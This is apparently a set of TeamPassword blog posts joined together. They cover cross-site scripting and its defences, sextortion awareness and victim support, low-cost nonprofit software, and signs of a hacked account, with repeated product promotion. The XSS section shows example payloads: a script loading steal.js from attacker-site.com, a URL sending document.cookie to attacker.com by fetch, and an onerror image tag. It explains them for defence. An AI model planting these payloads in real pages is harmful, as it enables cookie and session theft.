Cross-Site Scripting (XSS) is a vulnerability where an attacker injects malicious scripts into content that is subsequently delivered to other users. Because the browser perceives the script as coming from a "trusted" website, it executes the code, allowing the attacker to bypass access controls, steal session tokens, or deface pages.
<h2>How Does XSS Work?</h2>
XSS occurs when a web application includes untrusted data in a web page without proper validation or escaping. There are three primary categories of XSS attacks:
<h3>1. Stored (Persistent) XSS</h3>
This is the most dangerous form of XSS. The malicious script is permanently stored on the target server (e.g., in a database, in a comment field, or a user profile). When a victim views the affected page, the script executes automatically.
Example: An attacker posts a comment on a forum:
<pre><code>The weather is fantastic today! &lt;script src="https://attacker-site.com/steal.js"&gt;&lt;/script&gt;</code></pre>
Every user who loads that forum thread will unknowingly execute <code>steal.js</code>, potentially sending their session cookies directly to the attacker.
<h3>2. Reflected XSS</h3>
In a reflected attack, the script is "reflected" off the web server to the victim's browser. This usually happens via a URL parameter or a form submission. The script is not stored on the server; instead, it is delivered to the victim through a link (often via phishing emails or social media).
Example: An attacker creates a malicious link for a search page:
<pre><code>https://insecure-site.com/search?q=&lt;script&gt;fetch('https://attacker.com/log?c='+document.cookie)&lt;/script&gt;</code></pre>
When the victim clicks this link, the website "reflects" the script onto the page (e.g., "You searched for... [script]"), and the browser executes it.
<h3>3. DOM-based XSS</h3>
DOM-based XSS is a modern variant where the entire attack happens in the client-side code. The server is often not involved at all. The malicious script is executed when the application's client-side code handles data from an "unsafe" source in an unsafe way, such as writing a URL fragment to the page.
Example: A site uses the following logic to welcome users based on the URL hash:
<pre><code>var name = decodeURIComponent(window.location.hash.substring(1));
document.getElementById('welcome').innerHTML = "Hello, " + name;</code></pre>
An attacker can send a link ending in <code>#&lt;img src=x onerror=alert(1)&gt;</code>, which triggers the script entirely within the user's browser.
<hr>
<h2>Modern Strategies: How to Prevent XSS</h2>
In 2026, preventing XSS requires a "Defense in Depth" approach. Simply relying on one method is no longer enough. Here is how developers and organizations stay protected:
<h3>1. Output Encoding (The Gold Standard)</h3>
The most effective defense is to convert untrusted data into a safe form where the browser treats it as text rather than active code. For example, converting <code>&lt;</code> to <code>&amp;lt;</code> ensures the browser displays the character instead of opening a tag. Modern frameworks like React, Angular, and Vue do this automatically for most inputs.
<h3>2. Content Security Policy (CSP)</h3>
A <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP" target="_blank" rel="noopener">Content Security Policy</a> is a powerful security layer that tells the browser which sources of scripts are trusted. A well-configured CSP can block all inline scripts and restrict script execution to specific, verified domains, effectively neutralizing most XSS attacks even if a vulnerability exists.
<h3>3. Context-Aware Input Validation</h3>
While output encoding is vital, input validation is your first line of defense. Applications should use "allow-lists" rather than "deny-lists." If a field expects a ZIP code, only allow numbers. If it expects a color, only allow specific hex codes or names.
<h3>4. Using "HttpOnly" Cookie Flags</h3>
To mitigate the impact of an XSS attack, developers should set the <code>HttpOnly</code> flag on session cookies. This prevents JavaScript from accessing the cookie, meaning that even if an attacker successfully runs a script, they cannot steal the session token to hijack the account.
<h3>5. User Awareness &amp; Link Hygiene</h3>
From the user's perspective, vigilance remains key. Always hover over links to inspect the destination URL before clicking, especially in emails or private messages. If a URL contains complex scripts or unusual characters, it is a significant red flag.
<hr>
<h2>Conclusion</h2>
As the web becomes more interactive and complex, XSS remains a top priority for security researchers and developers alike. In 2026, the rise of AI-driven code generation has made it easier for vulnerabilities to slip through&mdash;but it has also empowered security teams with better automated testing tools.
True security is a partnership between robust engineering and informed users. At <a href="https://teampassword.com/" target="_blank" rel="noopener">TeamPassword</a>, we prioritize the integrity of your data by employing industry-leading security protocols and providing the tools necessary for safe credential management. By staying aware of risks like XSS and utilizing specialized security services, you can navigate the digital world with confidence. Join the thousands of companies that trust us to keep their most sensitive data where it belongs: in safe hands.
<a href="https://app.teampassword.com/signup" rel="follow noopener" target="_blank">Get started with a free trial of TeamPassword today!</a>

XSS vulnerabilities can be hidden in plain sight. Knowing what they are and how to defend against them can keep you and your business safe.

Cross-site scripting or XSS place malicious scripts on trusted websites, creating security vulnerabilities where the are least expected. ...

Cross-site scripting (XSS): what it is and defenses

Cross-site scripting or XSS place malicious scripts on trusted websites, creating security vulnerabilities where the are least expected. How does XSS work? And how can you prevent it? This article will answer both questions to help protect you, your team, and your business.

Cybersecurity Series: What is cross-site scripting (XSS) and how do you defend against it

(Trigger warning: This conversation deals with issues that can be triggering to some victims. The content includes sexual assault and abuse, including minors and the use of AI-generated deepfakes. While all attempts have been made to keep the specifics as minimal as possible, this is a very difficult topic to read about for everybody and especially those who have suffered or continue to suffer. Please prepare yourself or consider reading this similar <a href="https://www.teampassword.com/blog/extortion-emails-what-they-are-how-do-they-happen" target="_blank" rel="noopener">article about more general cases of extortion</a>.)
In 2026, sextortion remains one of the most heinous and rapidly evolving cybercrimes. Historically, it referred to the act of coercing someone through threats or promises to perform sexual acts, often targeting minors. It also encompasses blackmail, where a perpetrator threatens to release sexually explicit material unless their demands are met.
However, the landscape has shifted dramatically with the rise of generative AI. Today, sextortion doesn't even require the victim to have ever shared or recorded an intimate image. Criminals now use deepfake technology to create hyper-realistic, fabricated imagery from innocent social media photos, fundamentally changing the nature of this threat.
<h2>What is sextortion?</h2>
Sending nude photos has become a common form of flirtation. So long as both parties are consenting adults, there is nothing inherently wrong with such expression. However, when you use webcams or social media for such flirtations, you risk the person not being who they say they are.
Many criminals prey on the lonely, using fake personas to gain their victim&rsquo;s trust. In recent years, these "catfishing" tactics have been amplified by AI voice cloning and live deepfake video filters, making it nearly impossible to tell if the person on the other side of the screen is real. Once trust is established, the perpetrator entices the victim to perform sexual acts or share imagery, which is then used as a coercive tool.
In 2026, a secondary and equally dangerous form of sextortion has emerged: synthetic sextortion. Using publicly available photos from your Instagram or LinkedIn, predators use AI to "pornify" your image. They then threaten to send these forgeries to your family, employer, or spouse. Even though the images are fake, the potential for reputational damage and psychological trauma remains a powerful lever for extortion.
These recordings&mdash;whether real or AI-generated&mdash;are leveraged to force victims into paying money, performing further sexual acts, or even facilitating corporate espionage by handing over company login credentials.
<h2>Sextortion as an abuse of power</h2>
Sextortion as an abuse of power occurs when a person in authority&mdash;such as a judge, teacher, police officer, or employer&mdash;uses their position to coerce someone into sexual acts. This form of abuse was brought to global attention by the #metoo movement and continues to be a systemic issue.
In corporate environments, non-disclosure agreements (NDAs) were historically abused to keep these crimes secret. While many jurisdictions have since passed laws to prevent NDAs from covering sexual assault, the power dynamic makes these crimes incredibly difficult to prove. If you are facing this, the best course of action is to document everything and report it to the authorities or a dedicated legal advocacy group immediately.
<h2>Sextortion as a form of blackmail</h2>
In this form, criminals use sexually explicit material&mdash;real or fabricated&mdash;to force a victim to act. The methods for acquiring this material have become increasingly sophisticated:
<ul>
<li>Data Breach Integration: Scammers often include an old password or a Google Maps image of your home in their extortion email to "prove" they have hacked your devices, even if they haven't.</li>
<li>AI Fabrication: As mentioned, deepfake technology allows criminals to create "evidence" out of thin air using only your public profile pictures.</li>
<li>Webcam Hijacking: Perpetrators may still attempt to <a href="https://teampassword.com/blog/what-happened-with-the-zoom-credentials-hack" target="_blank" rel="noopener">take control of webcams</a> to record victims privately.</li>
</ul>
Once the material is "secured," the victim is pressured to pay a ransom (often in cryptocurrency) or provide sensitive business data. <a href="https://teampassword.com" target="_blank" rel="follow noopener">TeamPassword</a> uses state-of-the-art encryption to ensure that even if a hacker targets your business, your credentials remain hashed, salted, and inaccessible.
<a href="https://app.teampassword.com/signup" target="_blank" rel="follow noopener">Protect your company's digital assets</a> by signing up for a free 14-day TeamPassword trial today.
<h2>Has this happened to you or someone you know?</h2>
If you are a victim of sextortion, understand that it is not your fault. Criminal organizations are now industrialized, using AI playbooks to target thousands of people at once. There is immediate help available for your <a href="https://www.opencounseling.com/suicide-hotlines" target="_blank" rel="noopener">emotional state here</a>. Here are the steps you should take:
<ul>
<li>Don&rsquo;t Panic: You are the victim of a crime. Modern technology can now detect deepfakes, and there are legal avenues to help you.</li>
<li>Don&rsquo;t pay: Statistics show that paying rarely stops the extortion; it only marks you as a "reliable" source of income. Once a criminal releases the images, they lose their leverage, so they often won't actually follow through if you refuse.</li>
<li>Stop all communication: Block the perpetrator on all platforms. They will use every emotional tactic to break your will. Do not engage.</li>
<li>Preserve Evidence: Take screenshots of the threats and the accounts used. Under the Take It Down Act (2025), there are now stricter federal penalties for distributing non-consensual AI-generated explicit imagery.</li>
<li>Use Takedown Tools: If images have been posted, use services like the NCMEC&rsquo;s Take It Down tool, which helps remove non-consensual intimate imagery from the internet.</li>
</ul>
<h2>How can you prevent sextortion?</h2>
Prevention in 2026 requires a "Zero Trust" approach to online interactions. To make yourself a difficult target:
<ul>
<li>Audit Your Privacy: Set your social media profiles to private and be wary of "random" friend requests, even if they appear to have mutual friends.</li>
<li>Verify Identities: If an online acquaintance asks for intimate photos or moves to a private messaging app quickly, they are likely a scammer.</li>
<li>Secure Your Credentials: Use <a href="https://teampassword.com/blog/2fa-vs-mfa" target="_blank" rel="follow noopener">two-factor authentication (2FA)</a> and unique, complex passwords. This prevents scammers from using your real account data to add "credibility" to their fake threats.</li>
</ul>
In a world where 90% of online content can be synthetic, protecting your digital identity is more important than ever. Let <a href="https://app.teampassword.com/signup" target="_blank" rel="follow noopener">TeamPassword</a> handle the complexity of your security so you can focus on your life and business.
<a href="https://app.teampassword.com/signup" target="_blank" rel="follow noopener">Sign up for a 14-day free trial</a> to secure your team today.

This article explains what sextortion is, how it happens, and how to reduce your risk of becoming a victim of sextortion. | TeamPassword

This article explains what sextortion is, how it happens, and how to reduce your risk of becoming a ...

What Is Sextortion and How Can You Prevent It?

This article explains what sextortion is, how it happens, and how to reduce your risk of becoming a victim of sextortion.

Nonprofits face unique constraints that make software choices more consequential than in most businesses. Budget pressure, shared access, volunteer turnover, and compliance needs mean tools must be affordable, secure, and simple to manage from day one. After all, every dollar spent on overhead is one less that goes to serving your cause.
Here are 14 easy-to-use and low-cost essential software packages that your nonprofit can use today.
TeamPassword is the best password manager available for your nonprofit. Don&rsquo;t believe us? <a href="https://app.teampassword.com/signup" target="_blank" rel="follow noopener">Sign up for our free trial to unlock 30% off your first year today and try for yourself.</a>
<h2>Nonprofit organizations have different software needs</h2>
Nonprofits operate under structural constraints that shape every technology decision. Software must support collaboration and accountability without introducing high costs or administrative overhead.
<h3>Limited budgets and pressure to justify every dollar</h3>
Nonprofits must justify every expense to boards, donors, and grant providers. Software that appears inexpensive in isolation can become difficult to defend when multiplied across staff, volunteers, and programs.
As a result, nonprofits favor tools with free tiers, nonprofit discounts, or flat pricing that scales slowly. Cost predictability often matters more than advanced features.
<h3>High turnover and shared access to critical accounts</h3>
Many nonprofits rely on volunteers, contractors, or part-time staff who rotate frequently. This creates a constant need to <a href="https://teampassword.com/blog/prevent-password-theft-from-ex-employees" target="_blank" rel="noopener noreferrer">grant and revoke access to shared systems</a> without disrupting operations.
It also necessitates the easy-to-use options. Since volunteers might not have pre-existing skills, and training budgets are limited or non-existent, often the best choice is the most intuitive and not the one with the most features.
<h3>Compliance, transparency, and donor trust</h3>
Nonprofits are expected to maintain clear records and defensible processes. Donors and regulators want assurance that data, funds, and decisions are handled responsibly.
Software that supports audit trails, clear permissions, and consistent documentation helps nonprofits maintain trust while reducing administrative risk.
<h2>A practical nonprofit software stack built around free and low-cost tools</h2>
Nonprofits do not need complex or expensive systems to operate effectively. They need reliable tools that solve real operational problems, work well together, and remain affordable as the organization grows.
Here are 14 essential software categories most nonprofits rely on:
<ol>
<li><a href="https://teampassword.com/blog/what-is-a-password-manager" target="_blank" rel="noopener noreferrer">Password manager and secure credential sharing</a></li>
<li>Office productivity and collaboration tools</li>
<li>Constituent relationship management software</li>
<li>E-signature and document workflow software</li>
<li>Fundraising and donation management tools</li>
<li>Event registration and ticketing software</li>
<li>Point of sale software for in-person donations</li>
<li>Email marketing and supporter communication</li>
<li>Project and task management software</li>
<li>Accounting and bookkeeping software</li>
<li>Volunteer management platforms</li>
<li>Social media management software</li>
<li>Website builders and donation page tools</li>
<li>File storage and collaboration platforms</li>
</ol>
Each category includes at least one free or low-cost option that meets core needs without adding unnecessary cost or complexity.
<h3>Password manager and secure credential sharing</h3>
Nonprofits rely heavily on shared accounts for banking portals, donor platforms, social media, email marketing tools, and vendor services. When <a href="https://teampassword.com/blog/how-to-safely-share-passwords-with-coworkers" target="_blank" rel="noopener noreferrer">passwords are shared</a> informally through email, chat, or documents, access quickly becomes fragmented and insecure, especially as volunteers and staff rotate in and out.
TeamPassword is a low-cost password manager designed specifically for teams that need to share access safely, making it <a href="https://teampassword.com/blog/best-password-manager-for-nonprofits" target="_blank" rel="noopener noreferrer">the best password manager for nonprofits</a>. It allows nonprofits to centralize credentials, control permissions, and remove access instantly without changing passwords or disrupting operations.
Here are some key benefits of TeamPassword:
<ul>
<li><a href="https://teampassword.com/blog/what-is-password-vaulting" target="_blank" rel="noopener noreferrer">Secure shared vaults</a>: TeamPassword allows teams to access shared accounts without revealing the actual passwords to individual users. This can save your nonprofit money overall by allowing volunteers to share licenses of other pricy software.</li>
<li>Role-based permissions: Access can be limited by role, department, or project so users only see what they need, keeping your donors&rsquo; data secure.</li>
<li><a href="https://teampassword.com/blog/how-to-audit-passwords" target="_blank" rel="noopener noreferrer">Clear audit visibility</a>: Activity logs show who accessed credentials and when, supporting accountability and internal controls and helping you eliminate underutilized software from your budget.</li>
<li>Fast onboarding and offboarding: New volunteers and staff gain access quickly, and departing users can be removed instantly.</li>
<li><a href="https://teampassword.com/blog/cheapest-password-managers" target="_blank" rel="noopener noreferrer">Low, predictable pricing</a>: Flat, affordable pricing makes TeamPassword accessible for nonprofits without enterprise budgets.</li>
</ul>
<h3>Office productivity and collaboration tools</h3>
Nonprofits create and manage a constant flow of documents, spreadsheets, and presentations. Grant applications, budgets, board materials, and internal policies all require tools that support collaboration without complex setup or licensing overhead.
<a href="https://workspace.google.com/intl/en_ca/" target="_blank" rel="noopener noreferrer">Google Workspace</a>, including Docs, Sheets, and Slides, is the strongest free option for most nonprofits. They support real-time collaboration, autosave, version history, and easy sharing. The tools are widely understood, reduce training needs, and integrate cleanly with email and file storage.
<h3>Constituent relationship management software</h3>
Tracking donors, volunteers, partners, and beneficiaries is essential for continuity and accountability. Without a CRM, information becomes scattered across spreadsheets, inboxes, and individual memory, which increases risk as staff and volunteers change.
<a href="https://www.hubspot.com/nonprofits" target="_blank" rel="noopener noreferrer">HubSpot CRM</a> offers a robust free tier that covers contact management, notes, and basic reporting as well as special pricing for nonprofits. For nonprofits that need more customization, Zoho CRM provides a low-cost alternative with <a href="https://www.zoho.com/nonprofits/" target="_blank" rel="noopener noreferrer">nonprofit-friendly pricing</a> and scalable features.
<h3>E-signature and document workflow software</h3>
Nonprofits regularly need signed agreements for volunteers, vendors, partners, and internal governance. Manual signing slows processes, increases errors, and creates storage challenges that complicate audits and reporting.
<a href="https://www.signtime.com/" target="_blank" rel="noopener noreferrer">SignTime</a> provides legally valid electronic signatures at a cost that fits nonprofit budgets. It simplifies document workflows, maintains audit trails, and eliminates printing and scanning while supporting compliance requirements across common nonprofit use cases.
<h3>Fundraising and donation management tools</h3>
Digital fundraising supports sustainability by making it easy for supporters to give when motivation is high. Donation tracking and receipts are also critical for transparency and donor trust.
<a href="https://givebutter.com/" target="_blank" rel="noopener noreferrer">Givebutter</a> offers a free platform with donation pages, campaigns, and donor tracking supported by transaction fees. Donorbox is another low-cost option that integrates easily with existing websites and supports recurring donations.
<h3>Event registration and ticketing software</h3>
Events remain a core channel for fundraising, outreach, and community engagement. Manual registration processes create friction for attendees and staff alike.
Eventbrite provides a free option for no-cost events and simple paid ticketing as well as a <a href="https://www.eventbrite.ca/help/en-ca/articles/585157/can-my-nonprofit-or-charity-get-lower-fees-for-our-events/" target="_blank" rel="noopener noreferrer">special nonprofits paid tier</a>. Givebutter also supports event registrations tied directly to fundraising campaigns, which works well for nonprofit-hosted gatherings and benefit events.
<h3>Point of sale software for in-person donations</h3>
Many nonprofits collect donations at events, pop-ups, and community spaces. Cash-only systems limit contributions and increase reconciliation work.
<a href="https://squareup.com/us/en/services/nonprofit" target="_blank" rel="noopener noreferrer">Square</a> offers free point of sale software with affordable hardware and simple reporting. It supports card and contactless payments, issues digital receipts, and integrates smoothly with fundraising workflows.
<h3>Email marketing and supporter communication</h3>
Email remains one of the most effective channels for donor engagement and volunteer coordination. Consistent communication helps maintain relationships and encourage repeat involvement.
<a href="https://mailchimp.com/help/about-nonprofit-discount/" target="_blank" rel="noopener noreferrer">Mailchimp</a> provides a free tier suitable for small lists and basic campaigns as well as a 15% discount on paid tiers for nonprofits. <a href="https://www.brevo.com/blog/email-marketing-for-nonprofits/" target="_blank" rel="noopener noreferrer">Brevo</a> offers another low-cost option with strong transactional email support, making both platforms accessible for growing nonprofits.
<h3>Project and task management software</h3>
Nonprofits often manage multiple programs with limited staff and geographically distributed contributors. Without clear task ownership, important work can stall or be duplicated.
Notion offers a free, visual system for organizing tasks and projects. Its boards and cards are easy to understand, require little training, and work well for teams with mixed technical experience. <a href="https://www.notion.com/nonprofits" target="_blank" rel="noopener noreferrer">Notion</a> also offers a 50% discount on paid tiers for nonprofits.
<h3>Accounting and bookkeeping software</h3>
Financial transparency is central to nonprofit credibility. Accurate records support audits, grant reporting, and informed decision-making.
<a href="https://www.waveapps.com/accounting/nonprofit" target="_blank" rel="noopener noreferrer">Wave Accounting</a> provides free tools for income and expense tracking, invoicing, and reporting. It is well suited for small nonprofits that need clear financial visibility without the cost of full accounting suites.
<h3>Volunteer management platforms</h3>
Volunteers are essential to many nonprofits, but coordinating schedules and responsibilities can be complex. Manual systems increase no-shows and burnout.
<a href="https://www.signupgenius.com/how-to-use/nonprofit-volunteer-management" target="_blank" rel="noopener noreferrer">SignUpGenius</a> offers a free option for managing volunteer sign-ups and schedules. It reduces administrative effort while giving volunteers clarity about expectations and commitments.
<h3>Social media management software</h3>
Social platforms help nonprofits build awareness and engage supporters. Managing posts manually across channels consumes time and increases inconsistency.
<a href="https://buffer.com/nonprofits" target="_blank" rel="noopener noreferrer">Buffer</a> provides a free plan that allows scheduling posts and reviewing basic performance metrics. It simplifies content planning and helps maintain a steady online presence. It also offers a 50% discount for non-profits
<h3>Website builders and donation page tools</h3>
A nonprofit website serves as a public trust signal and a primary entry point for donors and volunteers. Poor usability can undermine credibility.
<a href="http://wordpress.com" target="_blank" rel="noopener noreferrer">WordPress.com</a> offers a free starting point with customizable themes and basic SEO tools. It supports content publishing and integrates with donation platforms as needs evolve.
<h3>File storage and collaboration platforms</h3>
Nonprofits need secure, centralized access to documents across staff and volunteers. Local storage creates silos and increases the risk of data loss.
<a href="https://www.google.com/nonprofits/" target="_blank" rel="noopener noreferrer">Google Drive</a> provides free cloud storage with permission controls and version history. It supports collaboration across devices and integrates naturally with Google productivity tools.
<h2>TeamPassword is an essential part of every nonprofit software stack</h2>
Every tool in a nonprofit software stack depends on secure access. Email platforms, fundraising systems, financial tools, and social media accounts all rely on shared credentials that must remain protected as people join and leave the organization.
TeamPassword provides the foundation that makes this stack safe and manageable. By enabling secure sharing, clear permissions, and fast access changes at a low cost, TeamPassword helps nonprofits protect their systems, <a href="https://teampassword.com/blog/cybersecurity-threats-for-nonprofits" target="_blank" rel="noopener noreferrer">prevent cyberattacks</a>, save money on other costly software, and operate with confidence as they grow.
TeamPassword is the best password manager for nonprofits. Don&rsquo;t believe us? <a href="https://app.teampassword.com/signup" target="_blank" rel="noopener noreferrer">Sign up for a 14-day free trial</a> today and try for yourself.

This guide to the essential software for nonprofits covers budget-friendly tools for teams, donors, and operations. Learn what matters most and take a look.

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So you think hackers have stolen your password? You're not the only one. 
Perhaps you've noticed strange activity on your email account or frequent pop-ups on your computer. Perhaps it's just a hunch. 
But how can you know&nbsp;for sure?
There are many warning signs that you've been the victim of a data hack:
<ul>
<li>Your device is slower than normal.</li>
<li>You use more data than normal.</li>
<li>Videos take longer to load.</li>
<li>You received an email notification about a password change you didn't make.</li>
<li>An online account no longer accepts your password.</li>
</ul>
However, hackers can steal your passwords and identity&nbsp;without you ever knowing. That's why it's so difficult to tell if you're the victim of a hack.
This guide will help you work out if hackers have stolen your information and tell you how to stop it from happening again.&nbsp;
Prevent hackers from stealing your data by incorporating TeamPassword into your tech stack. This password manager for teams comes with a range of security features like two-step verification and password encryption.&nbsp;<a href="https://app.teampassword.com/dashboard#signup/testimonial" target="_blank" rel="noopener">Sign up for a free trial</a>&nbsp;today.&nbsp;

<h2>Have I Been Hacked? How Do I Know?</h2>
There are various ways to tell whether hackers have access to your information:
<ul>
<li>Look for unusual activity on your account. This activity includes logins to your social media accounts from unfamiliar locations or mass messages sent from your email account.&nbsp;</li>
<li>Look for security emails from account providers that warn about failed login attempts or password changes you didn't make.&nbsp;&nbsp;</li>
<li>Look for changes in performance on the devices, apps, and websites you use. For example, see if videos take longer to buffer than normal.&nbsp;</li>
<li>Look at your browser's password manager (if you use one) and check that nobody has changed these credentials.&nbsp;</li>
</ul>
All the above can be a guessing game. You might have a feeling that you're the victim of a hack but don't know for sure. 
Checking a stolen password list like "Have I Been Pwned" clears up some of the confusion. This tool searches across multiple data breaches &mdash; when hackers take stolen passwords and usernames and post them online &mdash; to see if cybercriminals have compromised your personal information. 
Here's how to use this stolen password list:
<ol>
<li>Enter your email address on the main page.&nbsp;</li>
<li>Click "pwned."</li>
<li>The website will search thousands of databases to see if hackers have stolen your personal information.</li>
<li>If you receive the "Oh no &ndash; Pwned!" message, it means hackers have posted sensitive information associated with your email address (passwords, addresses, phone numbers, etc.) somewhere online.</li>
<li>If you receive the "Good news &ndash; no pwnage found!" message, it means the website could not find your information on the internet.&nbsp;</li>
</ol>
Note: Just because the website can't find your data on the internet, it doesn't mean hackers haven't compromised your personal information.
Read more:&nbsp;<a href="https://teampassword.com/blog/password-manager-for-small-businesses" target="_blank" rel="noopener">Password Manager for Small Businesses</a>

<h2>Which Passwords Did Hackers Steal?</h2>
Establish which passwords hackers stole in a data breach so you can take quick action. Websites like "Have I Been Pwned"&nbsp;won't&nbsp;tell you which passwords are at risk. You'll only learn whether hackers have compromised the data associated with a particular email address. 
Note: Sometimes, hackers might have access to your email address and other personal information but not your password. It's hard to know for sure.&nbsp;
If hackers have access to your data, it's a good idea to change&nbsp;all passwords&nbsp;associated with the compromised email address. If you use your email address for several online accounts, change the passwords for these services. Updating these passwords might take you a while, and remembering the new passwords leads to additional problems. (Keep reading to find a solution.)
Here are some other tips:
<ul>
<li>When choosing new passwords, use combinations of lowercase letters, uppercase letters, numbers, and symbols. Passwords that use all these elements are stronger than those that don't.</li>
<li>Don't write your passwords down because this increases the risk of identity theft.&nbsp;&nbsp;</li>
<li>Don't tell anyone your new passwords.</li>
</ul>
Read more:&nbsp;<a href="https://teampassword.com/blog/the-most-secure-way-to-share-passwords" target="_blank" rel="noopener">The Most Secure Way to Share Passwords</a>.

<h2>How Common Is a Data Hack?</h2>
More common than you think. Hackers were responsible for more than 4,000 attacks every day in 2020, and the total number of compromised records exceeded 37 billion. That's a 141% increase from 2019. Much of this compromised data appears on the dark web, where cybercriminals use it to facilitate illegal activities such as identity theft and money laundering.&nbsp;
If you have been the subject of a data hack, you are not alone. However, it's important to act quickly to prevent hackers from accessing your personal or financial accounts.&nbsp;
There are other types of cybercrime to consider. Cybercriminals use techniques like phishing, where they impersonate people online and trick victims into handing over their personal information. Phishing now accounts for more than 80% of all cybersecurity incidents, and criminals steal $17,700 every minute in these attacks.&nbsp;

<h2>What Kind of Information Do Hackers Steal?</h2>
Hackers steal all kinds of personal and financial information:
<ul>
<li>Names</li>
<li>Email addresses</li>
<li>Usernames</li>
<li>Passwords</li>
<li>Addresses</li>
<li>Phone numbers</li>
<li>Bank account details</li>
<li>Credit card numbers</li>
<li>Social Security numbers</li>
<li>Insurance information&nbsp;</li>
<li>IRS information</li>
<li>Photos</li>
<li>Private message</li>
<li>SMS messages</li>
</ul>
Nothing is off-limits for hackers, and these criminals go to great lengths to steal your data. Once they have access to the information above, hackers can transfer money from your bank accounts, use your identity to apply for financing, and damage your credit file.&nbsp;
Read more:&nbsp;<a href="https://teampassword.com/blog/the-scariest-data-breaches-of-all-time" target="_blank" rel="noopener">The Scariest Data Breaches of All Time</a>.
TeamPassword is the best password manager for teams. Features include two-step verification, password encryption, easy password sharing, and more.&nbsp;<a href="https://app.teampassword.com/dashboard#signup/testimonial" target="_blank" rel="noopener">Get a free trial now</a>&nbsp;and learn how TeamPassword keeps you safe online.&nbsp;

<h2>Have I Been Hacked? How to Stay Safe.</h2>
There are several ways to improve online security and prevent hackers from accessing your personal information:
<ul>
<li>Use the latest security software and apps when using devices and browsing the internet.</li>
<li>Carry out regular risk assessments where you evaluate your security software.</li>
<li>Back up personal data to a reputable cloud service instead of keeping it on your device.&nbsp;</li>
<li>Don't share personal information with other people.</li>
<li>Create a security management strategy for your organization and share it with all team members.&nbsp;</li>
</ul>
Using a password manager is another way to stay safe online. The best ones encrypt your online passwords so hackers can't access these credentials, and you can keep passwords in a secure cloud-based vault and not have to remember them. There are various password managers online, including free ones available through most internet browsers, but not all tools are the same.&nbsp;
If you work alongside a team, consider TeamPassword. It's the&nbsp;<a href="https://www.teampassword.com/" target="_blank" rel="noopener">password manager for teams</a>&nbsp;that require world-class security and performance. This all-in-one password solution helps teams like yours store, manage, and share passwords in the safest way possible.&nbsp;

<h2>How Can TeamPassword Help?</h2>
TeamPassword prevents hackers from stealing your organization's most sensitive data with an incredible range of password management features. Enterprises of all sizes use TeamPassword to manage passwords, including tech startups, digital marketing agencies, creative agencies, and software and development teams.
Here are some&nbsp;<a href="https://teampassword.com/features" target="_blank" rel="noopener">TeamPassword features</a>&nbsp;that prevent situations involving a stolen password:
<ul>
<li>Random password generation that creates unique passwords for websites.</li>
<li>Two-step password verification.</li>
<li>Activity and logging tools so you can discover who has access to password management features.</li>
<li>Secure encryption technology.</li>
<li>Email notifications about password management actions.</li>
<li>Passwords stored securely in one place. </li>
</ul>
<h2>Final Word</h2>
If you're looking for the answer to the question, "Have I been hacked?" it's difficult to know for sure. Preventing hackers from compromising your data in the first place provides a better resolution. TeamPassword lets you store and manage passwords in a secure environment and minimize the effects of a stolen password so you can avoid hackers stealing your data and continue to collaborate on team projects.&nbsp;
With features like password encryption, two-step authentication, and random password generation, TeamPassword is the best password management solution for teams that want to improve online security.&nbsp;<a href="https://app.teampassword.com/dashboard#signup/testimonial" target="_blank" rel="noopener">Sign up for a free trial</a>&nbsp;now.

Have I been hacked? Here's how to check if you have and learn how to stop hackers from stealing your data. | TeamPassword Blog

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